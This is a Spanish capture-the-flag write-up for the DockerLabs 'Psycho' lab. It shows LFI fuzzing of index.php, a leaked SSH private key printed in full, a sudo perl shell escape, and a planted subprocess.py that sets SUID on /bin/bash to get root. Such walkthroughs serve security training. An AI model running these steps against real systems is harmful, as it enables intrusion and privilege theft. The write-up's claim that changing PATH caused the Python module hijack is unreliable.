Facil Dockerlabs

3 de diciembre de 2025

DockerLabs: Máquina Psycho

Resolución de la máquina Psycho de DockerLabs. Se explota una vulnerabilidad de Local File Inclusion (LFI) a través del parámetro "secret" en index.php para obtener la llave privada SSH del usuario vaxei. La escalada de privilegios se logra mediante la explotación de una debilidad en la ejecución con permisos de root del script python /opt/paw.py, inyectando código malicioso a través del envenenamiento del PATH para manipular el módulo subprocess y obtener una shell de root con SUID.

Web LFI PHP SSH Local File Inclusion Privilege Escalation Python PATH Hijacking SUID
Imagen de portada para DockerLabs: Máquina Psycho

![[Extras (Imagenes, Notas, Etc.)/Imagenes/Maquinas/Dockerlabs/Facil/1_Psycho/1_HeroImage.png|left]]

Ejecución de Maquina

Para las maquinas de nivel fácil aplicamos la misma teoría hasta la sección de reconocimiento, es decir, generamos la carpeta para guardar toda la información y descomprimimos el archivo

mkdir Psycho && cd Psycho
mv ~/Descargas/psycho.zip .

7z x psycho.zip    
-----------------------------------------------------------------------
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 156677272 bytes (150 MiB)

Extracting archive: psycho.zip
--
Path = psycho.zip
Type = zip
Physical Size = 156677272

Everything is Ok   

Files: 2
Size:       448128642
Compressed: 156677272
Ejecución de Maquina
sudo bash auto_deploy.sh psycho.tar   
--------------------------------------------------------------------------
	                    ##        .         
	              ## ## ##       ==         
	           ## ## ## ##      ===         
	       /""""""""""""""""\___/ ===       
	  ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
	       \______ o          __/           
	         \    \        __/            
	          \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
				     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Ahora si podemos ir con el escaneo y reconocimiento de la maquina. ¡Vamos a ello!


Reconocimiento de Puertos

De igual manera que los anteriores Writeups generamos la carpeta para poder almacenar todo el proceso a seguir, primero la carpeta walkthrough y después la carpeta nmap

mkdir walkthrough
mkdir walkthrough/nmap

cd walkthrough/nmap

Estando dentro comprobamos el sistema operativo con ttl (64 = Linux / 128 = Windows )

ping -c 4 172.17.0.2
---------------------------------------------------------------------------
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=27.2 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.053 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.059 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.057 ms

--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3046ms
rtt min/avg/max/mdev = 0.053/6.837/27.181/11.745 ms

Maquina Linux, por lo cual veamos que puertos tiene abiertos

nmap -sVC -sS -p- -Pn 172.17.0.2 -oN resultado.txt
-------------------------------------------------------------------------------------------------------
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-07 18:42 -05
Nmap scan report for 172.17.0.2
Host is up (0.000012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 38:bb:36:a4:18:60:ee:a8:d1:0a:61:97:6c:83:06:05 (ECDSA)
|_  256 a3:4e:4f:6f:76:f2:ba:50:c6:1a:54:40:95:9c:20:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: 4You
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.41 seconds

Nos encontramos por el momento con un sitio web en el puerto 80 y un ssh en el 22, pero parece que este aplica un cambio a la típica pagina Apache que se veía comúnmente en la sección de Muy Facil, esto se puede ver debido al nombre de la pagina siendo “4You”, por lo cual es probable que necesitemos encontrar un usuario o algo similar en esta pagina.


Explotación

En un principio si accedemos al sitio web nos encontramos con lo siguiente: [2_PageImage.png]

Si miramos bien la pagina los botones en esta sección no realizan una sección ya que la URL se le agrega un ’#’, pero al bajar al final de la pagina nos encontramos con algo curioso: [3_ErrorPage.png]

Por el momento mantendremos esto anotado para ver en un futuro, por lo cual usaremos Dirb y Gobuster para ver posibles rutas que nos sirvan para saber que es ese error:

mkdir ../gobuster && cd ../gobuster
dirb http://172.17.0.2 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Sep 14 14:41:10 2025
URL_BASE: http://172.17.0.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://172.17.0.2/ ----
==> DIRECTORY: http://172.17.0.2/assets/                                                                                                                                   
+ http://172.17.0.2/index.php (CODE:200|SIZE:2596)                                                                                                                         
+ http://172.17.0.2/server-status (CODE:403|SIZE:275)                                                                                                                      
                                                                                                                                                                           
---- Entering directory: http://172.17.0.2/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sun Sep 14 14:41:13 2025
DOWNLOADED: 4612 - FOUND: 2


gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt -o fuzzing_dns_discovery.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2596]
/assets               (Status: 301) [Size: 309] [--> http://172.17.0.2/assets/]
/server-status        (Status: 403) [Size: 275]
===============================================================
Finished
===============================================================

Por parte de dirb y gobuster encontramos una que otra ruta interesante, por el momento nos dirigiremos a /assets con el objetivo de ver que es lo que encontramos, al acceder a esta ruta nos encontramos con lo siguiente: [4_Assets_Section.png]

Se trata de la imagen de fondo del sitio web, lo cual descarte en gran medida un archivo oculto en este, pero de igual manera descargaremos el archivo para estar 100% seguros de esta posibilidad, asi que realizaremos lo siguientes pasos:

Verificar un posible archivo oculto
mkdir ../archivos && cd ../archivos
wget http://172.17.0.2/assets/background.jpg
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
--2025-09-14 14:52:58--  http://172.17.0.2/assets/background.jpg
Conectando con 172.17.0.2:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 86389 (84K) [image/jpeg]
Grabando a: «background.jpg.1»

background.jpg.1                           100%[========================================================================================>]  84,36K  --.-KB/s    en 0s      

2025-09-14 14:52:58 (420 MB/s) - «background.jpg.1» guardado [86389/86389]

steghide info background.jpg  
"background.jpg":
  formato: jpeg
  capacidad: 6,5 KB
�Intenta informarse sobre los datos adjuntos? (s/n) s
Anotar salvoconducto: 
steghide: �no pude extraer ning�n dato con ese salvoconducto!
Verificar los metadatos de la imagen
exiftool background.jpg
------------------------------------------------------------------------
ExifTool Version Number         : 13.25
File Name                       : background.jpg
Directory                       : .
File Size                       : 86 kB
File Modification Date/Time     : 2024:08:09 18:30:48-05:00
File Access Date/Time           : 2025:09:14 14:53:25-05:00
File Inode Change Date/Time     : 2025:09:07 18:45:21-05:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Image Width                     : 1920
Image Height                    : 1080
Encoding Process                : Progressive DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1920x1080
Megapixels                      : 2.1

No hemos encontrado un archivo oculto ni una información oculta en los metadatos, por lo cual debemos volver al sitio web, si verificamos en el archivo de gobuster nos encontramos con una ruta de /index.php, si accedemos al sitio, accedemos a la misma pagina de inicio en la que estábamos anteriormente. Sin embargo esto nos deja una posibilidad extra, debido a la extensión php del sitio existe la posibilidad de que se esta tratando de llamar algo al sitio pero de una manera correcta, por lo cual usaremos wfuzz para encontrar un posible LFI.

wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://172.17.0.2/index.php?FUZZ=../../../../../../../../etc/passwd
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------   
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz`s documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/index.php?FUZZ=../../../../../../../../etc/passwd
Total requests: 6453

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                    
=====================================================================

000000008:   200        62 L     169 W      2596 Ch     "17"                                                                                                       
000000001:   200        62 L     169 W      2596 Ch     "1"                                                                                                        
000000009:   200        62 L     169 W      2596 Ch     "2"                                                                                                        
000000011:   200        62 L     169 W      2596 Ch     "22"                                                                                                       
000000012:   200        62 L     169 W      2596 Ch     "23"                                                                                                       
000000006:   200        62 L     169 W      2596 Ch     "15"                                                                                                       
000000003:   200        62 L     169 W      2596 Ch     "12"                                                                                                       
000000010:   200        62 L     169 W      2596 Ch     "21"                                                                                                       
000000027:   200        62 L     169 W      2596 Ch     "Accounts"                                                                                                 
000000002:   200        62 L     169 W      2596 Ch     "11"                                                                                                       
000000007:   200        62 L     169 W      2596 Ch     "16"                                                                                                       
000000005:   200        62 L     169 W      2596 Ch     "14"                                                                                                       
000000004:   200        62 L     169 W      2596 Ch     "13"                                                                                                       
000000029:   200        62 L     169 W      2596 Ch     "AddAuthItemForm"

Perfecto, con esto simplemente tenemos que hacer un filtrado para que aparezcan resultados distintos en algún parámetro, en este caso el response al arrojarme todos 200 no funcionario, intentaremos por el momento ocultando las respuestas que tengan por defecto 62 líneas.

wfuzz -c --hl=62 -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://172.17.0.2/index.php?FUZZ=../../../../../../../../etc/passwd
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz`s documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/index.php?FUZZ=../../../../../../../../etc/passwd
Total requests: 6453

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                    
=====================================================================

000005057:   200        88 L     199 W      3870 Ch     "secret"                                                                                                   

Total time: 13.13749
Processed Requests: 6453
Filtered Requests: 6452
Requests/sec.: 491.1895

Genial, con hemos identificado la palabra clave para realizar un LFI, así que nos queda comprobar que todo funciona correctamente [5_Users_LFI.png]

Lo hemos conseguido, hemos descubierto un punto para poder vulnerar el sistema, si investigamos el código fuente del sitio podemos ver de mejor manera la información de este sitio [6_Best_View_Users.png]

Con esto hemos descubierto 2 usuarios interesantes, uno que es vaxei y luisillo por lo cual intentaremos ver si alguno de ellos maneja una llave publica para ssh con el objetivo de poder copiarlo y guardarlo un un archivo local llamado id_rsa, si probamos con el usuario luisillo en la ruta de /home/luisillo/.ssh/id_rsa sin embargo no encontramos nada, en cambio si miramos relacionado con el usuario de vaxei en la ruta de /home/vaxei/.ssh/id_rsa nos encontramos con lo siguiente: [7_SSH_Private.png|left]

Bien, encontrado la llave publica lo que hacemos es copiar el contenido dentro de un archivo con el mismo nombre, con lo cual podemos conectarnos evitando la contraseña de usuario por defecto

nano id_rsa
cat id_rsa               
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 File: id_rsa
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1 -----BEGIN OPENSSH PRIVATE KEY-----
   2 b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
   3 NhAAAAAwEAAQAAAYEAvbN4ZOaACG0wA5LY+2RlPpTmBl0vBVufshHnzIzQIiBSgZUED5Dk
   4 2LxNBdzStQBAx6ZMsD+jUCU02DUfOW0A7BQUrP/PqrZ+LaGgeBNcVZwyfaJlvHJy2MLVZ3
   5 tmrnPURYCEcQ+4aGoGye4ozgao+FdJElH31t10VYaPX+bZX+bSxYrn6vQp2Djbl/moXtWF
   6 ACgDeJGuYJIdYBGhh63+E+hcPmZgMvXDxH8o6vgCFirXInxs3O03H2kB1LwWVY9ZFdlEh8
   7 t3QrmU6SZh/p3c2L1no+4eyvC2VCtuF23269ceSVCqkKzP9svKe7VCqH9fYRWr7sssuQqa
   8 OZr8OVzpk7KE0A4ck4kAQLimmUzpOltDnP8Ay8lHAnRMzuXJJCtlaF5R58A2ngETkBjDMM
   9 2fftTd/dPkOAIFe2p+lqrQlw9tFlPk7dPbmhVsM1CN+DkY5D5XDeUnzICxKHCsc+/f/cmA
  10 UafMqBMHtB1lucsW/Tw2757qp49+XEmic3qBWes1AAAFiGAU0eRgFNHkAAAAB3NzaC1yc2
  11 EAAAGBAL2zeGTmgAhtMAOS2PtkZT6U5gZdLwVbn7IR58yM0CIgUoGVBA+Q5Ni8TQXc0rUA
  12 QMemTLA/o1AlNNg1HzltAOwUFKz/z6q2fi2hoHgTXFWcMn2iZbxyctjC1Wd7Zq5z1EWAhH
  13 EPuGhqBsnuKM4GqPhXSRJR99bddFWGj1/m2V/m0sWK5+r0Kdg425f5qF7VhQAoA3iRrmCS
  14 HWARoYet/hPoXD5mYDL1w8R/KOr4AhYq1yJ8bNztNx9pAdS8FlWPWRXZRIfLd0K5lOkmYf
  15 6d3Ni9Z6PuHsrwtlQrbhdt9uvXHklQqpCsz/bLynu1Qqh/X2EVq+7LLLkKmjma/Dlc6ZOy
  16 hNAOHJOJAEC4pplM6TpbQ5z/AMvJRwJ0TM7lySQrZWheUefANp4BE5AYwzDNn37U3f3T5D
  17 gCBXtqfpaq0JcPbRZT5O3T25oVbDNQjfg5GOQ+Vw3lJ8yAsShwrHPv3/3JgFGnzKgTB7Qd
  18 ZbnLFv08Nu+e6qePflxJonN6gVnrNQAAAAMBAAEAAAGADK57QsTf/priBf3NUJz+YbJ4NX
  19 5e6YJIXjyb3OJK+wUNzvOEdnqZZIh4s7F2n+VY70qFlOtkLQmXtfPIgcEbjyyr0dbgw0j4
  20 4sRhIwspoIrVG0NTKXJojWdqTG/aRkOgXKxsmNb+snLoFPFoEUHZDjpePFcgyjXlaYmZ0G
  21 +bzNv0RNgg4eWZszE13jvb5B8XtDzN4pkGlGvK1+8bInlguLmktQKItXoVhhokGkp4b+fu
  22 7YjDiaS4CyWsxX50wG/ZMgYBwFLRbCDUUdKZxsmCbreHxLKT/sae64E2ahuBSckYZlIzTd
  23 2lp27EOOPvdPlt9gny83JuFHBLChMd4sHq/oU8vGAiGnIvOCWs4wMArbpJQ+EALJk3GYvh
  24 oqWp3Q4N4F1tmwlrbqX2KP2T5yB+rLoBxfJwLELZlzd+O8mfP9Yknaw2vVYpUixUglNWHJ
  25 ZnmN1uAScPAd1ZNvIkPm6IPcThj1hVCkFXgWjQn6NdJj+NGNWcBeUrxBkH0vToD7gfAAAA
  26 wQCvSzmVYSxpX3b9SgH+sHH5YmOXR9GSc8hErWMDT9glzcaeEVB3O2iH/T+JrtUlm4PXiP
  27 kwFc5ZHHZTw2dd0X4VpE02JsfkgwTEyqWRMcZHTK19Pry2zskVmu6F94sOcN8154LeQBNx
  28 gT22Dr/KJA71HkOH7TyeGnlsmBtZoa3sqp3co9inkccnhm1KUeduL4RcSysDqXYbBUtNB6
  29 G1l8HYysm8ISCsoR4KSgxmC5lqCMfBy7z/6nOX7sm5/kP+JMsAAADBAO8TiHrYTl/kGsPM
  30 ITaekvQUJWCp+FCHK07jwzNp4buYAnO3iGvhVQpcS7UboD8/mve207e97ugK4Nqc68SzSu
  31 bDgAnd4FF3NLoXP/qPZPaPS1FRl0pY0jHyB+U6RELgaI34i9AierMc+4M0coUMZvxqay3o
  32 t8jRhz08jiwFifszwNN7taclmNEfkrKBY7nlbxFRd2XLjknZHFUOFzOFWdtXilQa+y6qJ6
  33 lKtE9KWnQgIgZB9Wt+M3lsEVWEdQKN1wAAAMEAyyEsmbLUzkBLMlu6P4+6sUq8f68eP3Ad
  34 bJltoqUjEYwe9KOf07G15W2nwbE/9WeaI1DcSDpZbuOwFBBYlmijeHVAQtJWJgZcpsOyy2
  35 1+JS40QbCBg+3ZcD5NX75S43WvnF+t2tN0S6aWCEqCUPyb4SSQXKi4QBKOMN8eC5XWf/aQ
  36 aNrKPo4BygXUcJCAHRZ77etVNQY9VqdwvI5s0nrTexbHM9Rz6O8T+7qWgsg2DEcTv+dBUo
  37 1w8tlJUw1y+rXTAAAAEnZheGVpQDIzMWRlMDI2NmZmZA==
  38 -----END OPENSSH PRIVATE KEY-----
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

ssh -i id_rsa vaxei@172.17.0.2
------------------------------------------------------------------------------------------------------------------------
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.33+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Aug 10 02:25:09 2024 from 172.17.0.1
vaxei@6905b20a2702:~$ 

Escalada de Privilegios

Estando conectados probaremos los 2 métodos típicos, subida mediante permisos de aplicación con administrador o permisos SUID, así que comprobamos estos detalles

sudo -l
Matching Defaults entries for vaxei on 6905b20a2702:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User vaxei may run the following commands on 6905b20a2702:
    (luisillo) NOPASSWD: /usr/bin/perl

Perfecto, en este caso tenemos permiso pero con el usuario luisillo para ejecución de perl, así que primero trataremos de explotar esta vulnerabilidad del usuario de luisillo para ver que otros permisos tenemos

sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh";'
$ whoami
luisillo
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
luisillo@6905b20a2702:/home/vaxei$ 

Ya dentro del usuario de luisillo probaremos las mismas formas de método de escalado de privilegios para poder obtener el administrador del sistema

sudo -l
Matching Defaults entries for luisillo on 6905b20a2702:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User luisillo may run the following commands on 6905b20a2702:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py

Esto es curioso, como podemos ver tenemos permisos de administrador para usar python, pero únicamente dentro del archivo paw.py, si leemos el archivo nos encontramos con lo siguiente

cd /opt/

ls -l
total 4
-rw-r--r-- 1 root root 967 Aug 10  2024 paw.py
luisillo@6905b20a2702:/opt$ cat paw.py 
import subprocess
import os
import sys
import time

# F
def dummy_function(data):
    result = ""
    for char in data:
        result += char.upper() if char.islower() else char.lower()
    return result

# Código para ejecutar el script
os.system("echo Ojo Aqui")

# Simulación de procesamiento de datos
def data_processing():
    data = "This is some dummy data that needs to be processed."
    processed_data = dummy_function(data)
    print(f"Processed data: {processed_data}")

# Simulación de un cálculo inútil
def perform_useless_calculation():
    result = 0
    for i in range(1000000):
        result += i
    print(f"Useless calculation result: {result}")

def run_command():
    subprocess.run(['echo Hello!'], check=True)

def main():
    # Llamadas a funciones que no afectan el resultado final
    data_processing()
    perform_useless_calculation()
    
    # Comando real que se ejecuta
    run_command()

if __name__ == "__main__":
    main()

Ya que no podemos editar el código intentaremos primero ejecutar el programa para ver que nos dice, pare ello podemos hacerlo como administrador

sudo -u root /usr/bin/python3 /opt/paw.py 
Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
  File "/opt/paw.py", line 41, in <module>
    main()
  File "/opt/paw.py", line 38, in main
    run_command()
  File "/opt/paw.py", line 30, in run_command
    subprocess.run(['echo Hello!'], check=True)
  File "/usr/lib/python3.12/subprocess.py", line 548, in run
    with Popen(*popenargs, **kwargs) as process:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/subprocess.py", line 1026, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.12/subprocess.py", line 1955, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'echo Hello!'

Si leemos los errores de ejecución de este archivo nos encontramos con un punto bastante importante, el error de la línea 30 nos dice que la librería de subprocess.py tiene un error en varias líneas del código interno de la librería, probablemente por que no se esta usando correctamente el código, con esto podemos hacer algo, ya que se esta intentando imprimir por consola un echo “Hello!” podríamos remplazar la ruta de donde obtiene la librería cambiando el PATH del sistema al mismo opt, esto lo haríamos mediante la siguiente manera.

echo $PATH
--------------------------------------------------------------------------------
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

export PATH=/opt:$PATH
echo $PATH
--------------------------------------------------------------------------------
/opt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

Ya con esto podemos hacer el archivo de subprocess.py para remplazar la librería interna de python

nano subprocess.py
cat subprocess.py 
------------------------------------
import os;
os.system("chmod u+s /bin/bash")

Perfecto, entonces si intentamos ejecutar el código que tiene permisos de administrador en teoría debería llamar el código que realizamos como si fuera la librería de subprocess y ejecutarla

sudo -u root /usr/bin/python3 /opt/paw.py 
---------------------------------------------------------------------
Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
  File "/opt/paw.py", line 41, in <module>
    main()
  File "/opt/paw.py", line 38, in main
    run_command()
  File "/opt/paw.py", line 30, in run_command
    subprocess.run(['echo Hello!'], check=True)
    ^^^^^^^^^^^^^^
AttributeError: module 'subprocess' has no attribute 'run'
luisillo@6905b20a2702:/opt$ bash -p
bash-5.2# whoami
root
bash-5.2#

Con esto aunque hemos fallado con el código la ejecución hecha de subprocess nos permite escalar privilegios escribiendo el comando a ejecutar, es decir, podemos escribir ese código para poder pedir una terminal como administrador incluso si no encuentra el subproceso de run